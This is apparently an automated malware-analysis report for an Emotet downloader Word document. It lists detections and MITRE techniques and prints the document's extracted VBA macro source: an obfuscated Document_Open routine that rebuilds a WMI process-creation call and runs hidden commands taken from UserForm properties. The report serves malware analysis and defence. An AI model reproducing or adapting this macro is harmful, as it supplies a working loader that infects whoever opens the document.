MALICIOUS
262
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file contains VBA macros, including a Document_Open macro and a hidden-property command stager, which are indicative of malicious activity. ClamAV detection confirms this, identifying it as 'Doc.Downloader.Emotet-9393298-1'. The VBA script is designed to execute a command stager, likely to download and run a secondary payload, which is a common Emotet tactic.
Heuristics 7
-
ClamAV: Doc.Downloader.Emotet-9393298-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Emotet-9393298-1
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGERVBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 5291 bytes |
SHA-256: dc2f5bb35be0142c8763ee684bee66be6aaa057f2f7e1b921a78adc52ee8fbb7 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "KBSNKtthikdhyflrexq"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
ZPTHLptxsavki.OMMEPociwtqtmkhks
End Sub
Attribute VB_Name = "ZPTHLptxsavki"
Attribute VB_Base = "0{7872239E-42D0-4322-97FA-45355D98B2FA}{5B1120C0-CABB-44A9-B500-539A74BA23CB}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function OMMEPociwtqtmkhks()
KVn3Y4Áw0ÔA = 4
Do While KVn3Y4Áw0ÔA < 4 + 8
KVn3Y4Áw0ÔA = KVn3Y4Áw0ÔA + 8: DoEvents
Loop
Dim f8ÖXW2ÄqDXRG As String
f8ÖXW2ÄqDXRG = Replace$("QnUsbBw4ÄKnTibrA", "QnUsbBw4ÄKn", "for")
Dim GD5ÕFBF6ÒuvD As Integer
GD5ÕFBF6ÒuvD = 9
Do While GD5ÕFBF6ÒuvD < 9 + 4
GD5ÕFBF6ÒuvD = GD5ÕFBF6ÒuvD + 9: DoEvents
Loop
YSLSKywuirpeoezr = Chr(ZPTHLptxsavki.Zoom + ((50 + 50 + 20) / 8))
Dim hdgKyIb4ÛjC As Integer
hdgKyIb4ÛjC = 5
Do While hdgKyIb4ÛjC < 5 + 5
hdgKyIb4ÛjC = hdgKyIb4ÛjC + 7: DoEvents
Loop
CRUDBbsasfgwqrjl = "838h2782ghhHU*(Y*hioHY*hssn2n23d838h2782ghhHU*(Y*hioHY*hssn2n23dw838h2782ghhHU*(Y*hioHY*hssn2n23di838h2782ghhHU*(Y*hioHY*hssn2n23dnm838h2782ghhHU*(Y*hioHY*hssn2n23d838h2782ghhHU*(Y*hioHY*hssn2n23dgm838h2782ghhHU*(Y*hioHY*hssn2n23dt838h2782ghhHU*(Y*hioHY*hssn2n23d838h2782ghhHU*(Y*hioHY*hssn2n23d" + YSLSKywuirpeoezr + "838h2782ghhHU*(Y*hioHY*hssn2n23d838h2782ghhHU*(Y*hioHY*hssn2n23d:838h2782ghhHU*(Y*hioHY*hssn2n23dw838h2782ghhHU*(Y*hioHY*hssn2n23din838h2782ghhHU*(Y*hioHY*hssn2n23d838h2782ghhHU*(Y*hioHY*hssn2n23d3838h2782ghhHU*(Y*hioHY*hssn2n23d2838h2782ghhHU*(Y*hioHY*hssn2n23d_838h2782ghhHU*(Y*hioHY*hssn2n23d" + ZPTHLptxsavki.AYCTKioyiioajuepe + "838h2782ghhHU*(Y*hioHY*hssn2n23dro838h2782ghhHU*(Y*hioHY*hssn2n23d838h2782ghhHU*(Y*hioHY*hssn2n23dce838h2782ghhHU*(Y*hioHY*hssn2n23ds838h2782ghhHU*(Y*hioHY*hssn2n23ds838h2782ghhHU*(Y*hioHY*hssn2n23d"
Dim FsVG As String
FsVG = Replace$("HfOnkMLa2ÄVOemSbJg", "HfOnkML", "jvSb5ÁQHX")
CGYNRtbtcsbp = LYBREjgwkctlozcq(CRUDBbsasfgwqrjl)
Dim J6áq4ÕR0Â As String
J6áq4ÕR0Â = Replace$("AyA7ÌWYeuUqBUfFDdc", "AyA7ÌWYeu", "ZvXdXZCY")
Set KTUYIosgdokyvrng = CreateObject(CGYNRtbtcsbp)
Dim Es7Ëtfr As Integer
Es7Ëtfr = 8
Do While Es7Ëtfr < 8 + 3
Es7Ëtfr = Es7Ëtfr + 9: DoEvents
Loop
DOGGHcyupfmedfawdr = ZPTHLptxsavki.DLIEEuprwigdauiqsqz.ControlTipText
wcNZtnpFpA = 8
Do While wcNZtnpFpA < 8 + 2
wcNZtnpFpA = wcNZtnpFpA + 3: DoEvents
Loop
VSHYXjjibezgjlbqw = UOJSI + (CGYNRtbtcsbp + YSLSKywuirpeoezr) + (ZPTHLptxsavki.CHRHWsbywbekityg.ControlTipText + DOGGHcyupfmedfawdr)
Dim n6Àq As String
n6Àq = Replace$("CO6ÃiqdotmZmIRVG", "CO6Ãiq", "vQLr1È1ÉlU")
VAQTNilxldnihh = VSHYXjjibezgjlbqw + ZPTHLptxsavki.AYCTKioyiioajuepe
Dim S3Â6Å2Ù0álsZh As Integer
S3Â6Å2Ù0álsZh = 8
Do While S3Â6Å2Ù0álsZh < 8 + 3
S3Â6Å2Ù0álsZh = S3Â6Å2Ù0álsZh + 2: DoEvents
Loop
Set LVQMOcqbtqjidvam = WHYEDmsckxvw(VAQTNilxldnihh)
Dim DYilPBNgb As Integer
DYilPBNgb = 1
Do While DYilPBNgb < 1 + 3
DYilPBNgb = DYilPBNgb + 2: DoEvents
Loop
vfde = Array("qnoih hiqwio hiossisi", KTUYIosgdokyvrng. _
Create(LZWVVvmvycxkfx, XXUSCspewhuthsldgu, LVQMOcqbtqjidvam), "ihqwi hqiodhos aihidoqi ")
Dim XK6ÎihXYdel As String
XK6ÎihXYdel = Replace$("wavIaG7ÈJkjfEdjegJfp", "wavIaG7ÈJkj", "FnaL0ÍW0Óf")
End Function
Function WHYEDmsckxvw(YLFYVpyvlhazqcb)
Set WHYEDmsckxvw = CreateObject(YLFYVpyvlhazqcb)
Dim rFn As Integer
rFn = 1
Do While rFn < 1 + 7
rFn = rFn + 1: DoEvents
Loop
WHYEDmsckxvw.showwindow = (PLNOYcebulrsjrktjro + OBUISkbgwlabg)
Dim qIft6Ãs5ÅR As String
qIft6Ãs5ÅR = Replace$("G1ÕvQLrK5Æ5ÔUtrS", "G1ÕvQL", "Dh3É")
End Function
Function LYBREjgwkctlozcq(YZYTWagfxihfibdzsjp)
VBBJDfhfljxiuodnm = YZYTWagfxihfibdzsjp
Dim UlsZhPn As String
UlsZhPn = Replace$("pDYilPBNgBIav5ÐX2Çt", "pDYilPBNg", "DGwj")
SJPXAxurfkaxfmk = Split _
(VBBJDfhfljxiuodnm, "838h2782ghhHU*(Y*h
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.